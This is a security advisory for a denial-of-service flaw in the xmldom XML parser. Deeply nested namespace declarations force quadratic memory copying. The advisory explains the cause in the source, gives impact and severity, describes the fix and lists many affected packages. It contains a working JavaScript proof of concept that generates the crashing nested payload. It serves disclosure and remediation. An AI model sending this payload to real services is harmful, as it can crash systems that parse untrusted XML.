CVE-2026-83615

About vulnerability

Summary

When an element declares a namespace prefix, xmldom copies the entire in-scope namespace map into a fresh object and keeps that copy on the element while it is open on the parse stack. A crafted document that nests N elements, each declaring one unique prefix, therefore drives the parser to hold on the order of N(N+1)/2 = O(N²) namespace-map entries at its peak, so a small, highly compressible input exhausts the heap. Parsing runs under default options on untrusted, network-delivered XML, so a sub-megabyte payload can OOM-crash the process before any application-level validation runs — an unauthenticated denial of service.

Details

appendElement performs the copy: _copy clones the current namespace map into a fresh object for each prefix-declaring element, and the copy is retained on that element’s parse-stack entry:

if (localNSMap == null) {
localNSMap = Object.create(null);
_copy(currentNSMap, (currentNSMap = Object.create(null)));   // full copy of all ancestor prefixes
}
currentNSMap[nsPrefix] = localNSMap[nsPrefix] = value;
...
el.currentNSMap = currentNSMap;   // retained while the element is open on the parse stack

https://github.com/xmldom/xmldom/blob/08a22d78e4bc50f12ce9f5090b8d96ee6031ac7b/lib/sax.js#L467-L540

The copies stack: the element at depth i copies a map of size ~i, and every ancestor stays live on the parse stack until it closes, so at the deepest point Σi namespace entries are held at once. That peak is transient — the completed DOM retains only O(N), one small namespace map per node — but it is reached during parsing, which is what OOM-crashes the process.

Proof of Concept

A minimal document — N nested elements, each declaring one unique namespace prefix (no SAML wrapper needed):

const { DOMParser } = require('@xmldom/xmldom');

function build(n) {
let open = '', close = '';
for (let i = 0; i < n; i++) { open += `<a xmlns:p${i}="urn:${i}">`; close = '</a>' + close; }
return `<r>${open}${close}</r>`;   // <r><a xmlns:p0="urn:0">...<a xmlns:p{n-1}="urn:{n-1}">...</a>...</r>
}

for (const n of [2000, 4000, 8000, 16000]) {
const src = build(n);
new DOMParser().parseFromString(src, 'text/xml');   // peak memory ~ O(n^2)
console.log(n, (src.length / 1024).toFixed(0) + ' KB in', (process.resourceUsage().maxRSS / 1024).toFixed(0) + ' MB peak RSS');
}

Measured on Node.js v24 (peak RSS ~quadruples per doubling of depth; absolute numbers vary by host):

About 470 KB of trivially-generated, highly-compressible input crashes a default Node.js process; larger depths scale as O(N²) into the tens of GB, crashing larger hosts (as first measured by the reporter with a SAML-shaped payload).

Impact

Unauthenticated denial of service against any service that parses attacker-influenced XML with xmldom under default options. A single sub-megabyte request drives multi-gigabyte peak memory and can OOM-crash the process before any application-level validation (e.g. schema checks or a SAML signature verification) runs. The payload is a plain namespace-nesting document and highly compressible, so it is effective over compressed transports (e.g. an HTTP-Redirect / DEFLATE binding, not only POST bindings).

Severity note

The CVSS 4.0 vector scores availability only (VC:N/VI:N/VA:H): the flaw neither discloses nor alters data, it exhausts the heap. VA:H is justified because a single unauthenticated, network-delivered request (AV:N/PR:N/UI:N) of trivial complexity (AC:L/AT:N) drives the parser to multi-gigabyte peak memory and OOM-crashes the process before any application-level logic runs — a full loss of availability for the affected service.

Fix Applied

Inherit each element’s in-scope namespace map through the prototype chain instead of copying it for every prefix-declaring element, so a deeply namespaced document holds O(N) namespace entries instead of O(N²) at peak. Behavior-preserving: serialized output is byte-identical, only the memory cost drops. Non-breaking and independent of requireWellFormed; ships on both maintained versions.

Affected product:

@bacons/xcode , @expo/build-tools , @ledgerhq/lumen-ui-rnative , Node.js , React , adal-node , allure-codeceptjs , allure-js , babel-preset-expo , better-auth , better-auth-core , better-auth-drizzle-adapter , better-auth-kysely-adapter , better-auth-memory-adapter , better-auth-mongo-adapter , better-auth-prisma-adapter , better-auth-sso , better-auth-telemetry , blockchain-link-utils , canvg , clerk-clerk-expo , clerk-expo , clerk-expo-biometrics , clerk-expo-google-signin , clerk-expo-native-components , clerk-expo-passkeys , codeceptjs , config-plugins , configure , cordova-node-xcode , create-expo-module , create-rock , db , diegomura-react-pdf , eas-cli , ember-cli , eslint-config-expo , eslint-config-universe , expo , expo-ads-admob , expo-ads-facebook , expo-app-auth , expo-app-integrity , expo-app-intents , expo-app-loading , expo-apple-authentication , expo-application , expo-asset , expo-audio , expo-auth-session , expo-av , expo-background-fetch , expo-background-task , expo-barcode-scanner , expo-battery , expo-blur , expo-branch , expo-brightness , expo-build-properties , expo-calendar , expo-camera , expo-clipboard , expo-config , expo-configure-splash-screen , expo-constants , expo-contacts , expo-crypto , expo-dev-client , expo-dev-client-components , expo-dev-launcher , expo-dev-menu , expo-dev-menu-interface , expo-dev-server , expo-dev-tools , expo-device , expo-document-picker , expo-electron-adapter , expo-env-info , expo-error-recovery , expo-expo-cli , expo-file-system , expo-firebase-analytics , expo-firebase-core , expo-firebase-recaptcha , expo-font , expo-gl , expo-glass-effect , expo-google-app-auth , expo-haptics , expo-hinge , expo-image , expo-image-loader , expo-image-picker , expo-image-utils , expo-insights , expo-intent-launcher , expo-keep-awake , expo-linear-gradient , expo-linking , expo-local-authentication , expo-local-build-cache-provider , expo-localization , expo-location , expo-log-box-utils , expo-mail-composer , expo-manifests , expo-maps , expo-media-library , expo-mesh-gradient , expo-metro-config , expo-module-scripts , expo-modules-autolinking , expo-modules-cli , expo-modules-core , expo-modules-jsi , expo-modules-test-core , expo-navigation-bar , expo-network , expo-network-addons , expo-next-adapter , expo-notifications , expo-optimize , expo-payments-stripe , expo-permissions , expo-plist , expo-prebuild-config , expo-print , expo-processing , expo-pwa , expo-random , expo-router , expo-router-server , expo-schemer , expo-screen-capture , expo-screen-orientation , expo-secure-store , expo-sensors , expo-sharing , expo-sms , expo-speech , expo-splash-screen , expo-sqlite , expo-standard-web-crypto , expo-status-bar , expo-store-review , expo-symbols , expo-system-ui , expo-task-manager , expo-template-bare-minimum , expo-template-blank , expo-template-blank-typescript , expo-template-default , expo-template-tabs , expo-tracking-transparency , expo-updates , expo-updates-interface , expo-vector-icons , expo-video , expo-video-thumbnails , expo-web-browser , expo-webpack-config , expo-widgets , expo-xdl , expo-yarn-workspaces , gatsby-transformer-sqip , hiero-sdk-js , install-expo-modules , jest-expo , jest-expo-enzyme , jspdf , ledger-live , ledgerhq-coin-algorand , ledgerhq-coin-aptos , ledgerhq-coin-canton , ledgerhq-coin-concordium , ledgerhq-coin-cosmos , ledgerhq-coin-near , ledgerhq-coin-polkadot , ledgerhq-crypto-icons , ledgerhq-domain-service , ledgerhq-hw-app-near , ledgerhq-hw-transport , ledgerhq-hw-transport-mocker , ledgerhq-hw-transport-node-hid-noevents , ledgerhq-hw-transport-node-speculos , ledgerhq-hw-transport-web-ble , ledgerhq-hw-transport-webusb , ledgerhq-live-common , ledgerhq-native-ui , lit-labs-cli , lit/lit , livestore , livestore-webmesh , loaders.gl , loaders.gl-arrow , loaders.gl-bson , loaders.gl-csv , loaders.gl-excel , loaders.gl-flatgeobuf , loaders.gl-geoarrow , loaders.gl-geopackage , loaders.gl-geotiff , loaders.gl-graphs , loaders.gl-i3s , loaders.gl-json , loaders.gl-kml , loaders.gl-las , loaders.gl-lerc , loaders.gl-mlt , loaders.gl-netcdf , loaders.gl-obj , loaders.gl-parquet , loaders.gl-pcd , loaders.gl-ply , loaders.gl-pmtiles , loaders.gl-polyfills , loaders.gl-potree , loaders.gl-schema-utils , loaders.gl-shapefile , loaders.gl-splats , loaders.gl-textures , loaders.gl-tile-converter , loaders.gl-traces , loaders.gl-wkt , loaders.gl-wms , magic-js , mammoth , markdown-it-mathjax3 , mathjax-full , microsoft-365-agents-toolkit , mpd-parser , nx , nx-angular , nx-cypress , nx-devkit , nx-jest , nx-js , nx-module-federation , nx-vite , nx-web , nx-workspace , office-addin-debugging , office-addin-dev-settings , office-addin-scripts , officeparser , onflow-fcl-react-native , onnxruntime-common , patch-project , plist , rock , rock-js-platform-apple-helpers , rock-js-plugin-brownfield-ios , rock-js-plugin-expo-config-plugins , rock-js-provider-github , samlify , simple-plist , soap , solana-wallet-adapter-base-ui , speech-rule-engine , sqip , tanstack-browser-db-sqlite-persistence , tanstack-capacitor-db-sqlite-persistence , tanstack-cloudflare-durable-objects-db-sqlite-persistence , tanstack-expo-db-sqlite-persistence , tanstack-node-db-sqlite-persistence , tanstack-react-native-db-sqlite-persistence , tanstack-tauri-db-sqlite-persistence , testem , trezor-blockchain-link-types , trezor-connect-web , trezor-suite , unimodules-permissions-interface , unimodules-sensors-interface , unimodules-task-manager-interface , video.js , videojs-http-streaming , wallet-adapter , xdl , xml-crypto , xml-encryption , xmldom , xmldom-xmldom

Affected packages:

xmldom @ 0.1.31 (+8302 more)